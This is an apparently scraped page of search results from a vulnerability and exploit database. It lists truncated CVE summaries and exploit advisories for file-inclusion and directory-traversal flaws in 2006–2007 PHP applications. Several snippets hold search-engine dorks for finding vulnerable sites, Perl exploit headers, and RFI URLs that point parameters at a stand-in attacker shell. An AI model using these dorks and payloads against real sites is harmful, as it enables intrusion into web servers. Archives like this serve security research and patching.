10023 matches found
CVE-2007-1341: Undefined Security Weakness
include/auth/auth.php in Simple Invoices before 2007 03 05 does not use the login system to protect print preview pages for invoices, which might allow attackers to obtain sensitive information...
Magic CMS 4.2.747 (mysave.php file) Remote File Include Vulnerability
Exploit for unknown platform in category web applications ===================================================================== Magic CMS 4.2.747 mysave.php file Remote File Include Vulnerability ===================================================================== '/ -.-...
CVE-2006-7159: Undefined Security Weakness
Directory traversal vulnerability in include/prunetorrents.php in BTI-Tracker 1.3.2 aka btitracker allows remote attackers to delete arbitrary files via ".." sequences in the TORRENTSDIR parameter in a prune action...
PHP-Nuke Module PostGuestbook 0.6.1 (tpl_pgb_moddir) RFI Vulnerability
Exploit for unknown platform in category web applications ====================================================================== PHP-Nuke Module PostGuestbook 0.6.1 tplpgbmoddir RFI Vulnerability ====================================================================== PostGuestbook...
CVE-2006-7117
Multiple directory traversal vulnerabilities in Kubix 0.7 and earlier allow remote attackers to 1 include and execute arbitrary local files via ".." sequences in the theme cookie to index.php, which is not properly handled by includes/head.php; and 2 read arbitrary files via ".." sequences in the...
CVE-2006-7130
PHP remote file inclusion vulnerability in backend/primitives/cache/media.php in Jinzora 2.1 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the includepath parameter, a different vector than CVE-2006-6770...
dbimage-rfi.txt
Remote File Include In DBImageGallery 1.2.2 Discovered By : Hasadya Raed Contact Me : [email protected] Download Script : http://www.dbscripts.net/download/?file=1 B.Files: admin/attributes.php - requireonce $donsimgbasepath admin/images.php - requireonce $donsimgbasepath admin/scan.php -...
Mani Stats Reader <= 1.2 (ipath) Remote File Include Vulnerability
No description provided by source. Mani Admin Plugin Stats Reader V1.2 rfi : dork:"2006 by www.mani-stats-reader.de.vu" "allinurl:.php?ipath= inurl:"css"" vuln:index.php?ipath=evilshit greetz:RST, LinuxPakistan phpfreaks [email protected]...
News-Letterman 1.1 - 'eintrag.php?sqllog' Remote File Inclusion
!/usr/bin/perl News-Letterman 1.1 eintrag.php Remote File Include Exploit Download: http://www.weltennetz.de/download/letterman1.1.zip Vulnerable Code: include $sqllog; Coded by bd0rk || SOH-Crew Usage: exploit.pl target cmd shell shell variable Greetings: str0ke, TheJT, seduce, Perle, CodeR use...
DSquare Exploit Pack: D2SEC_SQLITEMANAGER
Name| d2secsqlitemanager ---|--- CVE| CVE-2007-1232 Exploit Pack| D2ExploitPack Description| SQLiteManager Local File Include Vulnerability Notes|...
Remote File Include In DBImageGallery
Remote File Include In DBImageGallery 1.2.2 Discovered By : Hasadya Raed Contact Me : [email protected] Download Script : http://www.dbscripts.net/download/?file=1 B.Files: admin/attributes.php - requireonce $donsimgbasepath admin/images.php - requireonce $donsimgbasepath admin/scan.php -...
CVE-2007-1219
PHP remote file inclusion vulnerability in actions/del.php in Admin Phorum 3.3.1a allows remote attackers to execute arbitrary PHP code via a URL in the includepath parameter...
WB News Remote File Include in all versions
ThE bug in admin file To ConTacT mE @ www.Asb-May.net/bb ScRiPtS:-http://www.webmobo.com/wbnews/download.html GrEaTz To:-ToOofa-HaCk.eGy All AsB-MaY DisCoverY ExPloIts GrOup Discovered By:- ThE dE@Th AsB-MaY DiScOvEr ExPlIoTs Gr0uP comment.php:- include $config'installdir'...
Mani Stats Reader <= 1.2 (ipath) Remote File Include Vulnerability
Exploit for unknown platform in category web applications ================================================================== Mani Stats Reader = 1.2 ipath Remote File Include Vulnerability ================================================================== Mani Admin Plugin Stats Reader V1.2 rfi :...
Mani Stats Reader <= 1.2 (ipath) Remote File Include Vulnerability
No description provided by source. Mani Admin Plugin Stats Reader V1.2 rfi : dork:"2006 by www.mani-stats-reader.de.vu" "allinurl:.php?ipath= inurl:"css"" vuln:index.php?ipath=evilshit greetz:RST, LinuxPakistan phpfreaks [email protected] milw0rm.com 2007-03-02...
FCRing <= 1.31 (fcring.php s_fuss) Remote File Include Vulnerability
No description provided by source. FCRing 1.3 Webringskript Found by kezzap66345 Script: http://www.scripter.ch/start.php?id=41.18.9&pos=fcring&title=FCRing%201.3 ERROR: if$sfuss != "" include$sfuss; rfi coded RFI: http://SITE.com/path/fcring.php?sfuss=SHELL kezzap66345athotmaildotcom...
Extreme phpBB 3.0.1 (functions.php) Remote File Include Exploit
No description provided by source. C xoron Name: phpBB Extreme 3.0.1 phpbbrootpath Remote File Include Exploit Author: xoron Exploit coded by xoron Download: http://sourceforge.net/project/showfiles.php?groupid=95900 Tesekkurler: pang0, DJR POC:...
phpBB Module NoMoKeTos Rules 0.0.1 Remote File Include Exploit
No description provided by source. !/usr/bin/perl phpBB Module NoMoKeTos Rules 0.0.1 Remote File Include Exploit Coded by bd0rk || SOH-Crew Usage: exploit.pl target cmd shell shell variable Greetings: str0ke, TheJT, Kacper, Lu7k, Maik Vulnerable Code: includeonce$phpbbrootpath...
Sinapis 2.2 Gastebuch (sinagb.php fuss) Remote File Include Vulnerability
No description provided by source. Sinapis 2.2 Gastebuch Found by kezzap66345 Script: http://www.scripter.ch/start.php?id=41.18.9&pos=gb&title=Sinapis%20G鋝tebuch%20 Dork="inurl:sinagb.php" ERROR: if$fuss == "" echo ""; else include$fuss; rfi coded RFI:...
CS-Gallery 2.0 (index.php album) Remote File Include Exploit
No description provided by source. ?php //File Inclusion Exploit for CSGallery = 2.0 //Found and Exploit Coded by burncycle - burncycleathotmaildotde //| //Vendor: http://www.cschneider.de/ //Dork: . www.cschneider.info //| //Bug in "index.php": //.. //$codefile=$POST'album'.'/code.php';...